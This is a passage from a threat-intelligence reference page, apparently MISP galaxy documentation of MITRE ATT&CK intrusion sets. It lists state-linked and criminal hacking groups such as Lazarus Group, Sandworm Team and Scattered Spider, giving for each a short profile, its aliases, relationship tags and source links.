North Korea's cyber operations have shown a consistent pattern of adaptation, forming and reorganizing units as national priorities shift. These units frequently share personnel, infrastructure, malware, and tradecraft, making it difficult to attribute specific operations with high confidence. Public reporting often uses "Lazarus Group" as an umbrella term for multiple North Korean cyber operators conducting espionage, destructive attacks, and financially motivated campaigns.(Citation: Mandiant DPRK Laz Org Breakdown 2022)(Citation: Mandiant DPRK Groups 2023)(Citation: JPCert Blog Laz Subgroups 2025)

The tag is: *misp-galaxy:mitre-intrusion-set="Lazarus Group - G0032"*

Lazarus Group - G0032 is also known as:

- Lazarus Group
- Labyrinth Chollima
- HIDDEN COBRA
- Guardians of Peace
- ZINC
- NICKEL ACADEMY
- Diamond Sleet

View relationships graph

Lazarus Group - G0032 has relationships with:

- similar: misp-galaxy:threat-actor="Lazarus Group" with estimative-language:likelihood-probability="likely"

Table 10728. Table References

Links
https://attack.mitre.org/groups/G0032
https://blogs.jpcert.or.jp/en/2025/03/classifying-lazaruss-subgroup.html
https://blogs.microsoft.com/on-the-issues/2017/12/19/microsoft-facebook-disrupt-zinc-malware-attack-protect-customers-internet-ongoing-cyberthreats/
https://cloud.google.com/blog/topics/threat-intelligence/mapping-dprk-groups-to-government/
https://cloud.google.com/blog/topics/threat-intelligence/north-korea-cyber-structure-alignment-2023

https://home.treasury.gov/news/press-releases/sm774
https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide
https://web.archive.org/web/20160226161828/https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf
https://web.archive.org/web/20210723190317/https://adversary.crowdstrike.com/en-US/adversary/labyrinth-chollima/
https://www.secureworks.com/about/press/media-alert-secureworks-discovers-north-korean-cyber-threat-group-lazarus-spearphishing
https://www.us-cert.gov/ncas/alerts/TA17-164A
https://www.us-cert.gov/ncas/analysis-reports/AR19-100A

Putter Panda - G0024

[Putter Panda](https://attack.mitre.org/groups/G0024) is a Chinese threat group that has been attributed to Unit 61486 of the 12th Bureau of the PLA's 3rd General Staff Department (GSD). (Citation: CrowdStrike Putter Panda)

The tag is: *misp-galaxy:mitre-intrusion-set="Putter Panda - G0024"*

Putter Panda - G0024 is also known as:

- Putter Panda
- APT2
- MSUpdater

View relationships graph

Putter Panda - G0024 has relationships with:

- similar: misp-galaxy:threat-actor="APT2" with estimative-language:likelihood-probability="likely"

Table 10729. Table References

Links
http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf
https://attack.mitre.org/groups/G0024
https://blogs.blackberry.com/en/2016/01/puttering-into-the-future

Scarlet Mimic - G0029

[Scarlet Mimic](https://attack.mitre.org/groups/G0029) is a threat group that has targeted minority rights activists. This group has not been directly linked to a government source, but the group's

motivations appear to overlap with those of the Chinese government. While there is some overlap between IP addresses used by [Scarlet Mimic](https://attack.mitre.org/groups/G0029) and [Putter Panda](https://attack.mitre.org/groups/G0024), it has not been concluded that the groups are the same. (Citation: Scarlet Mimic Jan 2016)

The tag is: *misp-galaxy:mitre-intrusion-set="Scarlet Mimic - G0029"*

Scarlet Mimic - G0029 is also known as:

- Scarlet Mimic

View relationships graph

Scarlet Mimic - G0029 has relationships with:

- similar: misp-galaxy:threat-actor="Scarlet Mimic" with estimative-language:likelihood-probability="likely"

Table 10730. Table References

Links
http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/
https://attack.mitre.org/groups/G0029

Poseidon Group - G0033

[Poseidon Group](https://attack.mitre.org/groups/G0033) is a Portuguese-speaking threat group that has been active since at least 2005. The group has a history of using information exfiltrated from victims to blackmail victim companies into contracting the [Poseidon Group](https://attack.mitre.org/groups/G0033) as a security firm. (Citation: Kaspersky Poseidon Group)

The tag is: *misp-galaxy:mitre-intrusion-set="Poseidon Group - G0033"*

Poseidon Group - G0033 is also known as:

- Poseidon Group

View relationships graph

Poseidon Group - G0033 has relationships with:

- similar: misp-galaxy:threat-actor="Poseidon Group" with estimative-language:likelihood-probability="likely"

Table 10731. Table References

Links
https://attack.mitre.org/groups/G0033

https://securelist.com/poseidon-group-a-targeted-attack-boutique-specializing-in-global-cyber-espionage/73673/

Sandworm Team - G0034

[Sandworm Team](https://attack.mitre.org/groups/G0034) is a destructive threat group that has been attributed to Russia's General Staff Main Intelligence Directorate (GRU) Main Center for Special Technologies (GTsST) military unit 74455.(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020) This group has been active since at least 2009.(Citation: iSIGHT Sandworm 2014)(Citation: CrowdStrike VOODOO BEAR)(Citation: USDOJ Sandworm Feb 2020)(Citation: NCSC Sandworm Feb 2020)

In October 2020, the US indicted six GRU Unit 74455 officers associated with [Sandworm Team](https://attack.mitre.org/groups/G0034) for the following cyber operations: the 2015 and 2016 attacks against Ukrainian electrical companies and government organizations, the 2017 worldwide [NotPetya](https://attack.mitre.org/software/S0368) attack, targeting of the 2017 French presidential campaign, the 2018 [Olympic Destroyer](https://attack.mitre.org/software/S0365) attack against the Winter Olympic Games, the 2018 operation against the Organisation for the Prohibition of Chemical Weapons, and attacks against the country of Georgia in 2018 and 2019.(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020) Some of these were conducted with the assistance of GRU Unit 26165, which is also referred to as [APT28](https://attack.mitre.org/groups/G0007).(Citation: US District Court Indictment GRU Oct 2018)

The tag is: *misp-galaxy:mitre-intrusion-set="Sandworm Team - G0034"*

Sandworm Team - G0034 is also known as:

- Sandworm Team
- ELECTRUM
- Telebots
- IRON VIKING
- BlackEnergy (Group)
- Quedagh
- Voodoo Bear
- IRIDIUM
- Seashell Blizzard
- FROZENBARENTS
- APT44

View relationships graph

Sandworm Team - G0034 has relationships with:

- similar: misp-galaxy:threat-actor="Sandworm" with estimative-language:likelihood-probability="likely"

Table 10732. Table References

Links
https://2017-2021.state.gov/the-united-states-condemns-russian-cyber-attack-against-the-country-of-georgia/index.html
https://attack.mitre.org/groups/G0034
https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163408/BlackEnergy_Quedagh.pdf
https://blog.google/threat-analysis-group/ukraine-remains-russias-biggest-cyber-focus-in-2023/
https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide
https://services.google.com/fh/files/misc/apt44-unearthing-sandworm.pdf
https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-january-voodoo-bear/
https://www.dragos.com/resource/electrum/
https://www.fireeye.com/blog/threat-research/2016/01/ukraine-and-sandworm-team.html
https://www.gov.uk/government/news/uk-exposes-series-of-russian-cyber-attacks-against-olympic-and-paralympic-games
https://www.infosecurity-magazine.com/news/microsoft-zero-day-traced-russian/
https://www.justice.gov/opa/page/file/1098481/download
https://www.justice.gov/opa/press-release/file/1328521/download
https://www.microsoft.com/en-us/security/blog/2022/10/14/new-prestige-ransomware-impacts-organizations-in-ukraine-and-poland/
https://www.ncsc.gov.uk/news/ncsc-supports-sandworm-advisory
https://www.secureworks.com/research/threat-profiles/iron-viking

Stealth Falcon - G0038

[Stealth Falcon](https://attack.mitre.org/groups/G0038) is a threat group that has conducted targeted spyware attacks against Emirati journalists, activists, and dissidents since at least 2012. Circumstantial evidence suggests there could be a link between this group and the United Arab Emirates (UAE) government, but that has not been confirmed. (Citation: Citizen Lab Stealth Falcon May 2016)

The tag is: *misp-galaxy:mitre-intrusion-set="Stealth Falcon - G0038"*

Stealth Falcon - G0038 is also known as:

- Stealth Falcon

View relationships graph

Stealth Falcon - G0038 has relationships with:

- similar: misp-galaxy:threat-actor="Stealth Falcon" with estimative-language:likelihood-probability="likely"

Table 10733. Table References

Links
https://attack.mitre.org/groups/G0038
https://citizenlab.org/2016/05/stealth-falcon/

Winnti Group - G0044

[Winnti Group](https://attack.mitre.org/groups/G0044) is a threat group with Chinese origins that has been active since at least 2010. The group has heavily targeted the gaming industry, but it has also expanded the scope of its targeting.(Citation: Kaspersky Winnti April 2013)(Citation: Kaspersky Winnti June 2015)(Citation: Novetta Winnti April 2015) Some reporting suggests a number of other groups, including [Axiom](https://attack.mitre.org/groups/G0001), [APT17](https://attack.mitre.org/groups/G0025), and [Ke3chang](https://attack.mitre.org/groups/G0004), are closely linked to [Winnti Group](https://attack.mitre.org/groups/G0044).(Citation: 401 TRG Winnti Umbrella May 2018)

The tag is: *misp-galaxy:mitre-intrusion-set="Winnti Group - G0044"*

Winnti Group - G0044 is also known as:

- Winnti Group
- Blackfly

View relationships graph

Winnti Group - G0044 has relationships with:

- similar: misp-galaxy:threat-actor="APT17" with estimative-language:likelihood-probability="likely"

Table 10734. Table References

Links
http://www.symantec.com/connect/blogs/suckfly-revealing-secret-life-your-code-signing-certificates
https://401trg.github.io/pages/burning-umbrella.html
https://attack.mitre.org/groups/G0044
https://securelist.com/games-are-over/70991/
https://securelist.com/winnti-more-than-just-a-game/37029/
https://web.archive.org/web/20150412223949/http://www.novetta.com/wp-content/uploads/2015/04/novetta_winntianalysis.pdf

Gamaredon Group - G0047

[Gamaredon Group](https://attack.mitre.org/groups/G0047) is a suspected Russian cyber espionage group that has targeted military, law enforcement, judiciary, non-profit, and non-governmental organizations in Ukraine since at least 2013. The name [Gamaredon Group](https://attack.mitre.org/groups/G0047) derives from a misspelling of the word "Armageddon," found in early campaigns.(Citation: Palo Alto Gamaredon Feb 2017)(Citation: TrendMicro Gamaredon April 2020)(Citation: ESET Gamaredon June 2020)(Citation: Symantec Shuckworm January 2022)(Citation: Microsoft Actinium February 2022)

In November 2021, the Ukrainian government publicly attributed [Gamaredon Group](https://attack.mitre.org/groups/G0047) to Russia's Federal Security Service (FSB) Center 18, an assessment later supported by multiple independent cybersecurity researchers. (Citation: Bleepingcomputer Gamardeon FSB November 2021)(Citation: Microsoft Actinium February 2022)

The tag is: *misp-galaxy:mitre-intrusion-set="Gamaredon Group - G0047"*

Gamaredon Group - G0047 is also known as:

- Gamaredon Group
- IRON TILDEN
- Primitive Bear
- ACTINIUM
- Armageddon
- Shuckworm
- DEV-0157
- Aqua Blizzard

View relationships graph

Gamaredon Group - G0047 has relationships with:

- similar: misp-galaxy:threat-actor="Gamaredon Group" with estimative-language:likelihood-probability="likely"

Table 10735. Table References

Links
https://attack.mitre.org/groups/G0047
https://blog.trendmicro.com/trendlabs-security-intelligence/gamaredon-apt-group-use-covid-19-lure-in-campaigns/
https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide
https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/

https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/shuckworm-gamaredon-espionage-ukraine
https://unit42.paloaltonetworks.com/gamaredon-primitive-bear-ukraine-update-2021/
https://www.bleepingcomputer.com/news/security/ukraine-links-members-of-gamaredon-hacker-group-to-russian-fsb/
https://www.microsoft.com/security/blog/2022/02/04/actinium-targets-ukrainian-organizations/
https://www.secureworks.com/research/threat-profiles/iron-tilden
https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/

Charming Kitten - G0058

[Charming Kitten](https://attack.mitre.org/groups/G0058) is an Iranian cyber espionage group that has been active since approximately 2014. They appear to focus on targeting individuals of interest to Iran who work in academic research, human rights, and media, with most victims having been located in Iran, the US, Israel, and the UK. [[Charming Kitten](https://attack.mitre.org/groups/G0058) often tries to access private email and Facebook accounts, and sometimes establishes a foothold on victim computers as a secondary objective. The group's TTPs overlap extensively with another group, [Magic Hound](https://attack.mitre.org/groups/G0059), resulting in reporting that may not distinguish between the two groups' activities.(Citation: ClearSky Charming Kitten Dec 2017)

The tag is: *misp-galaxy:mitre-intrusion-set="Charming Kitten - G0058"*

Charming Kitten - G0058 is also known as:

- Charming Kitten

Table 10736. Table References

Links
http://www.clearskysec.com/wp-content/uploads/2017/12/Charming_Kitten_2017.pdf
https://attack.mitre.org/groups/G0058

Magic Hound - G0059

[Magic Hound](https://attack.mitre.org/groups/G0059) is an Iranian-sponsored threat group that conducts long term, resource-intensive cyber espionage operations, likely on behalf of the Islamic Revolutionary Guard Corps. They have targeted European, U.S., and Middle Eastern government and military personnel, academics, journalists, and organizations such as the World Health Organization (WHO), via complex social engineering campaigns since at least 2014.(Citation: FireEye APT35 2018)(Citation: ClearSky Kittens Back 3 August 2020)(Citation: Certfa Charming Kitten January 2021)(Citation: Secureworks COBALT ILLUSION Threat Profile)(Citation: Proofpoint TA453 July2021)

The tag is: *misp-galaxy:mitre-intrusion-set="Magic Hound - G0059"*

Magic Hound - G0059 is also known as:

- Magic Hound
- TA453
- COBALT ILLUSION
- Charming Kitten
- ITG18
- Phosphorus
- Newscaster
- APT35
- Mint Sandstorm

View relationships graph

Magic Hound - G0059 has relationships with:

- similar: misp-galaxy:threat-actor="OilRig" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Cleaver" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="CHRYSENE" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Flying Kitten" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Clever Kitten" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Rocket Kitten" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Charming Kitten" with estimative-language:likelihood-probability="likely"

Table 10737. Table References

Links
http://www.clearskysec.com/wp-content/uploads/2017/12/Charming_Kitten_2017.pdf
https://attack.mitre.org/groups/G0059
https://blog.certfa.com/posts/charming-kitten-christmas-gift/
https://blogs.microsoft.com/on-the-issues/2019/03/27/new-steps-to-protect-customers-from-hacking/
https://blogs.microsoft.com/on-the-issues/2020/10/28/cyberattacks-phosphorus-t20-munich-security-conference/
https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide
https://noticeofpleadings.com/phosphorus/files/Complaint.pdf

https://research.checkpoint.com/2022/apt35-exploits-log4j-vulnerability-to-distribute-new-modular-powershell-toolkit/
https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/
https://securityintelligence.com/posts/new-research-exposes-iranian-threat-group-operations/
https://static.carahsoft.com/concrete/files/1015/2779/3571/M-Trends-2018-Report.pdf
https://www.clearskysec.com/wp-content/uploads/2019/10/The-Kittens-Are-Back-in-Town-2-1.pdf
https://www.clearskysec.com/wp-content/uploads/2020/08/The-Kittens-are-Back-in-Town-3.pdf
https://www.eweek.com/security/newscaster-threat-uses-social-media-for-intelligence-gathering
https://www.proofpoint.com/us/blog/threat-insight/badblood-ta453-targets-us-and-israeli-medical-research-personnel-credential
https://www.proofpoint.com/us/blog/threat-insight/operation-spoofedscholars-conversation-ta453
https://www.secureworks.com/research/threat-profiles/cobalt-illusion

Stolen Pencil - G0086

[Stolen Pencil](https://attack.mitre.org/groups/G0086) is a threat group likely originating from DPRK that has been active since at least May 2018. The group appears to have targeted academic institutions, but its motives remain unclear.(Citation: Netscout Stolen Pencil Dec 2018)

The tag is: *misp-galaxy:mitre-intrusion-set="Stolen Pencil - G0086"*

Stolen Pencil - G0086 is also known as:

- Stolen Pencil

Table 10738. Table References

Links
https://asert.arbornetworks.com/stolen-pencil-campaign-targets-academia/
https://attack.mitre.org/groups/G0086

Gorgon Group - G0078

[Gorgon Group](https://attack.mitre.org/groups/G0078) is a threat group consisting of members who are suspected to be Pakistan-based or have other connections to Pakistan. The group has performed a mix of criminal and targeted attacks, including campaigns against government organizations in the United Kingdom, Spain, Russia, and the United States. (Citation: Unit 42 Gorgon Group Aug 2018)

The tag is: *misp-galaxy:mitre-intrusion-set="Gorgon Group - G0078"*

Gorgon Group - G0078 is also known as:

- Gorgon Group

Table 10739. Table References

Links
https://attack.mitre.org/groups/G0078
https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/

Bouncing Golf - G0097

[Bouncing Golf](https://attack.mitre.org/groups/G0097) is a cyberespionage campaign targeting Middle Eastern countries.(Citation: Trend Micro Bouncing Golf 2019)

The tag is: *misp-galaxy:mitre-intrusion-set="Bouncing Golf - G0097"*

Bouncing Golf - G0097 is also known as:

- Bouncing Golf

Table 10740. Table References

Links
https://attack.mitre.org/groups/G0097
https://blog.trendmicro.com/trendlabs-security-intelligence/mobile-cyberespionage-campaign-bouncing-golf-affects-middle-east/

EXOTIC LILY - G1011

[EXOTIC LILY](https://attack.mitre.org/groups/G1011) is a financially motivated group that has been closely linked with [Wizard Spider](https://attack.mitre.org/groups/G0102) and the deployment of ransomware including [Conti](https://attack.mitre.org/software/S0575) and [Diavol](https://attack.mitre.org/software/S0659). [EXOTIC LILY](https://attack.mitre.org/groups/G1011) may be acting as an initial access broker for other malicious actors, and has targeted a wide range of industries including IT, cybersecurity, and healthcare since at least September 2021.(Citation: Google EXOTIC LILY March 2022)

The tag is: *misp-galaxy:mitre-intrusion-set="EXOTIC LILY - G1011"*

EXOTIC LILY - G1011 is also known as:

- EXOTIC LILY

Table 10741. Table References

Links
https://attack.mitre.org/groups/G1011
https://blog.google/threat-analysis-group/exposing-initial-access-broker-ties-conti/

Cinnamon Tempest - G1021

[Cinnamon Tempest](https://attack.mitre.org/groups/G1021) is a China-based threat group that has been active since at least 2021 deploying multiple strains of ransomware based on the leaked [Babuk](https://attack.mitre.org/software/S0638) source code. [Cinnamon Tempest](https://attack.mitre.org/groups/G1021) does not operate their ransomware on an affiliate model or purchase access but appears to act independently in all stages of the attack lifecycle. Based on victimology, the short lifespan of each ransomware variant, and use of malware attributed to government-sponsored threat groups, [Cinnamon Tempest](https://attack.mitre.org/groups/G1021) may be motivated by intellectual property theft or cyberespionage rather than financial gain.(Citation: Microsoft Ransomware as a Service)(Citation: Microsoft Threat Actor Naming July 2023)(Citation: Trend Micro Cheerscrypt May 2022)(Citation: SecureWorks BRONZE STARLIGHT Ransomware Operations June 2022)

The tag is: *misp-galaxy:mitre-intrusion-set="Cinnamon Tempest - G1021"*

Cinnamon Tempest - G1021 is also known as:

- Cinnamon Tempest
- DEV-0401
- Emperor Dragonfly
- BRONZE STARLIGHT

Table 10742. Table References

Links
https://attack.mitre.org/groups/G1021
https://blog.sygnia.co/revealing-emperor-dragonfly-a-chinese-ransomware-group
https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide
https://www.microsoft.com/en-us/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/
https://www.secureworks.com/research/bronze-starlight-ransomware-operations-use-hui-loader
https://www.secureworks.com/research/threat-profiles/bronze-starlight
https://www.trendmicro.com/en_se/research/22/e/new-linux-based-ransomware-cheerscrypt-targets-exsi-devices.html

Saint Bear - G1031

[Saint Bear](https://attack.mitre.org/groups/G1031) is a Russian-nexus threat actor active since early 2021, primarily targeting entities in Ukraine and Georgia. The group is notable for a specific remote access tool, [Saint Bot](https://attack.mitre.org/software/S1018), and information stealer, [OutSteel](https://attack.mitre.org/software/S1017) in campaigns. [Saint Bear](https://attack.mitre.org/groups/G1031) typically relies on phishing or web staging of malicious documents and related file types for initial access, spoofing government or related

entities.(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022)(Citation: Cadet Blizzard emerges as novel threat actor) [Saint Bear](https://attack.mitre.org/groups/G1031) has previously been confused with [Ember Bear](https://attack.mitre.org/groups/G1003) operations, but analysis of behaviors, tools, and targeting indicates these are distinct clusters.

The tag is: *misp-galaxy:mitre-intrusion-set="Saint Bear - G1031"*

Saint Bear - G1031 is also known as:

- Saint Bear
- Storm-0587
- TA471
- UAC-0056
- Lorec53

Table 10743. Table References

Links
https://attack.mitre.org/groups/G1031
https://unit42.paloaltonetworks.com/ukraine-targeted-outsteel-saintbot/
https://www.microsoft.com/en-us/security/blog/2023/06/14/cadet-blizzard-emerges-as-a-novel-and-distinct-russian-threat-actor/

Tonto Team - G0131

[Tonto Team](https://attack.mitre.org/groups/G0131) is a suspected Chinese state-sponsored cyber espionage threat group that has primarily targeted South Korea, Japan, Taiwan, and the United States since at least 2009; by 2020 they expanded operations to include other Asian as well as Eastern European countries. [Tonto Team](https://attack.mitre.org/groups/G0131) has targeted government, military, energy, mining, financial, education, healthcare, and technology organizations, including through the Heartbeat Campaign (2009-2012) and Operation Bitter Biscuit (2017).(Citation: Kaspersky CactusPete Aug 2020)(Citation: ESET Exchange Mar 2021)(Citation: FireEye Chinese Espionage October 2019)(Citation: ARS Technica China Hack SK April 2017)(Citation: Trend Micro HeartBeat Campaign January 2013)(Citation: Talos Bisonal 10 Years March 2020)

The tag is: *misp-galaxy:mitre-intrusion-set="Tonto Team - G0131"*

Tonto Team - G0131 is also known as:

- Tonto Team
- Earth Akhlut
- BRONZE HUNTLEY
- CactusPete
- Karma Panda

Table 10744. Table References

Links
https://arstechnica.com/information-technology/2017/04/researchers-claim-china-trying-to-hack-south-korea-missile-defense-efforts/
https://attack.mitre.org/groups/G0131
https://blog.talosintelligence.com/2020/03/bisonal-10-years-of-play.html
https://securelist.com/cactuspete-apt-groups-updated-bisonal-backdoor/97962/
https://vb2020.vblocalhost.com/uploads/VB2020-06.pdf
https://web.archive.org/web/20210308054208/https://www.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf
https://www.crowdstrike.com/blog/adversaries-targeting-the-manufacturing-industry/
https://www.secureworks.com/research/threat-profiles/bronze-huntley
https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp_the-heartbeat-apt-campaign.pdf?
https://www.welivesecurity.com/2021/03/10/exchange-servers-under-siege-10-apt-groups/

Sea Turtle - G1041

[Sea Turtle](https://attack.mitre.org/groups/G1041) is a Türkiye-linked threat actor active since at least 2017 performing espionage and service provider compromise operations against victims in Asia, Europe, and North America. [Sea Turtle](https://attack.mitre.org/groups/G1041) is notable for targeting registrars managing ccTLDs and complex DNS-based intrusions where the threat actor compromised DNS providers to hijack DNS resolution for ultimate victims, enabling [Sea Turtle](https://attack.mitre.org/groups/G1041) to spoof log in portals and other applications for credential collection.(Citation: Talos Sea Turtle 2019)(Citation: Talos Sea Turtle 2019_2)(Citation: PWC Sea Turtle 2023)(Citation: Hunt Sea Turtle 2024)

The tag is: *misp-galaxy:mitre-intrusion-set="Sea Turtle - G1041"*

Sea Turtle - G1041 is also known as:

- Sea Turtle
- Teal Kurma
- Marbled Dust
- Cosmic Wolf
- SILICON

Table 10745. Table References

Links
https://attack.mitre.org/groups/G1041
https://blog.talosintelligence.com/sea-turtle-keeps-on-swimming/

https://blog.talosintelligence.com/seaturtle/
https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RWMFIi?id=101738
https://www.huntandhackett.com/blog/turkish-espionage-campaigns
https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/tortoise-and-malwahare.html

GOLD SOUTHFIELD - G0115

[GOLD SOUTHFIELD](https://attack.mitre.org/groups/G0115) is a financially motivated threat group active since at least 2018 that operates the [REvil](https://attack.mitre.org/software/S0496) Ransomware-as-a Service (RaaS). [GOLD SOUTHFIELD](https://attack.mitre.org/groups/G0115) provides backend infrastructure for affiliates recruited on underground forums to perpetrate high value deployments. By early 2020, [GOLD SOUTHFIELD](https://attack.mitre.org/groups/G0115) started capitalizing on the new trend of stealing data and further extorting the victim to pay for their data to not get publicly leaked.(Citation: Secureworks REvil September 2019)(Citation: Secureworks GandCrab and REvil September 2019)(Citation: Secureworks GOLD SOUTHFIELD)(Citation: CrowdStrike Evolution of Pinchy Spider July 2021)

The tag is: *misp-galaxy:mitre-intrusion-set="GOLD SOUTHFIELD - G0115"*

GOLD SOUTHFIELD - G0115 is also known as:

- GOLD SOUTHFIELD
- Pinchy Spider

Table 10746. Table References

Links
https://attack.mitre.org/groups/G0115
https://www.crowdstrike.com/blog/the-evolution-of-revil-ransomware-and-pinchy-spider/
https://www.secureworks.com/blog/revil-the-gandcrab-connection
https://www.secureworks.com/research/revil-sodinokibi-ransomware
https://www.secureworks.com/research/threat-profiles/gold-southfield

Medusa Group - G1051

[Medusa Group](https://attack.mitre.org/groups/G1051) has been active since at least 2021 and was initially operated as a closed ransomware group before evolving into a Ransomware-as-a-Service (RaaS) operation. Some reporting indicates that certain attacks may still be conducted directly by the ransomware's core developers. Public sources have also referred to the group as "Spearwing" or "Medusa Actors." (Citation: CISA Medusa Group Medusa Ransomware March 2025) (Citation: Broadcom Medusa Ransomware Medusa Group March 2025) [Medusa Group](https://attack.mitre.org/groups/G1051) employs living-off-the-land techniques, frequently leveraging publicly available tools and common remote management software to conduct operations. The group engages in double extortion tactics, exfiltrating data prior to encryption and

threatening to publish stolen information if ransom demands are not met. (Citation: Security Scorecard Medusa Ransomware January 2024) For initial access, [Medusa Group](https://attack.mitre.org/groups/G1051) has exploited publicly known vulnerabilities, conducted phishing campaigns, and used credentials or access purchased from Initial Access Brokers (IABs). The group is opportunistic and has targeted a wide range of sectors globally. (Citation: Intel471 Medusa Ransomware May 2025)

The tag is: *misp-galaxy:mitre-intrusion-set="Medusa Group - G1051"*

Medusa Group - G1051 is also known as:

- Medusa Group

Table 10747. Table References

Links
https://attack.mitre.org/groups/G1051
https://securityscorecard.com/wp-content/uploads/2024/01/deep-dive-into-medusa-ransomware.pdf
https://www.cisa.gov/news-events/cybersecurity-advisories/aa25-071a
https://www.intel471.com/blog/threat-hunting-case-study-medusa-ransomware
https://www.security.com/threat-intelligence/medusa-ransomware-attacks

Scattered Spider - G1015

[Scattered Spider](https://attack.mitre.org/groups/G1015) is a native English-speaking cybercriminal group active since at least 2022. (Citation: CrowdStrike Scattered Spider Profile) (Citation: MSTIC Octo Tempest Operations October 2023) The group initially targeted customer relationship management (CRM) providers, business process outsourcing (BPO) firms, and telecommunications and technology companies before expanding in 2023 to gaming, hospitality, retail, managed service provider (MSP), manufacturing, and financial sectors. (Citation: MSTIC Octo Tempest Operations October 2023) [Scattered Spider](https://attack.mitre.org/groups/G1015) relies heavily on social engineering, including impersonating IT and help-desk staff, to gain initial access, bypass multi-factor authentication (MFA), and compromise enterprise networks. The group has adapted its tooling to evade endpoint detection and response (EDR) defenses and used ransomware for financial gain. (Citation: CISA Scattered Spider Advisory November 2023) (Citation: CrowdStrike Scattered Spider BYOVD January 2023) (Citation: Crowdstrike TELCO BPO Campaign December 2022) [Scattered Spider](https://attack.mitre.org/groups/G1015) had expanded into hybrid cloud and identity environments, using help-desk impersonation and MFA bypass to obtain administrator access in Okta, AWS, and Office 365. (Citation: Mandiant UNC3944 May 2025)

The tag is: *misp-galaxy:mitre-intrusion-set="Scattered Spider - G1015"*

Scattered Spider - G1015 is also known as:

- Scattered Spider
- Roasted 0ktapus

- Octo Tempest
- Storm-0875
- UNC3944

Table 10748. Table References

Links
https://attack.mitre.org/groups/G1015
https://cloud.google.com/blog/topics/threat-intelligence/defending-vsphere-from-unc3944
https://cloud.google.com/blog/topics/threat-intelligence/unc3944-proactive-hardening-recommendations
https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide
https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-320a
https://www.crowdstrike.com/adversaries/scattered-spider/
https://www.crowdstrike.com/blog/analysis-of-intrusion-campaign-targeting-telecom-and-bpo-companies/
https://www.crowdstrike.com/blog/scattered-spider-attempts-to-avoid-detection-with-bring-your-own-vulnerable-driver-tactic/
https://www.microsoft.com/en-us/security/blog/2023/10/25/octo-tempest-crosses-boundaries-to-facilitate-extortion-encryption-and-destruction/

Operation Wocao - G0116

[Operation Wocao](https://attack.mitre.org/groups/G0116) described activities carried out by a China-based cyber espionage adversary. [Operation Wocao](https://attack.mitre.org/groups/G0116) targeted entities within the government, managed service providers, energy, health care, and technology sectors across several countries, including China, France, Germany, the United Kingdom, and the United States. [Operation Wocao](https://attack.mitre.org/groups/G0116) used similar TTPs and tools to APT20, suggesting a possible overlap.(Citation: FoxIT Wocao December 2019)

The tag is: *misp-galaxy:mitre-intrusion-set="Operation Wocao - G0116"*

Operation Wocao - G0116 is also known as:

- Operation Wocao

Table 10749. Table References

Links
https://attack.mitre.org/groups/G0116
https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf

Fox Kitten - G0117

[Fox Kitten](https://attack.mitre.org/groups/G0117) is threat actor with a suspected nexus to the Iranian government that has been active since at least 2017 against entities in the Middle East, North Africa, Europe, Australia, and North America. [Fox Kitten](https://attack.mitre.org/groups/G0117) has targeted multiple industrial verticals including oil and gas, technology, government, defense, healthcare, manufacturing, and engineering.(Citation: ClearkSky Fox Kitten February 2020)(Citation: CrowdStrike PIONEER KITTEN August 2020)(Citation: Dragos PARISITE)(Citation: ClearSky Pay2Kitten December 2020)

The tag is: *misp-galaxy:mitre-intrusion-set="Fox Kitten - G0117"*

Fox Kitten - G0117 is also known as:

- Fox Kitten
- UNC757
- Parisite
- Pioneer Kitten
- RUBIDIUM
- Lemon Sandstorm

Table 10750. Table References

Links
https://attack.mitre.org/groups/G0117
https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide
https://us-cert.cisa.gov/ncas/alerts/aa20-259a
https://www.clearskysec.com/fox-kitten/
https://www.clearskysec.com/wp-content/uploads/2020/12/Pay2Kitten.pdf
https://www.crowdstrike.com/blog/who-is-pioneer-kitten/
https://www.dragos.com/threat/parisite/

Volt Typhoon - G1017

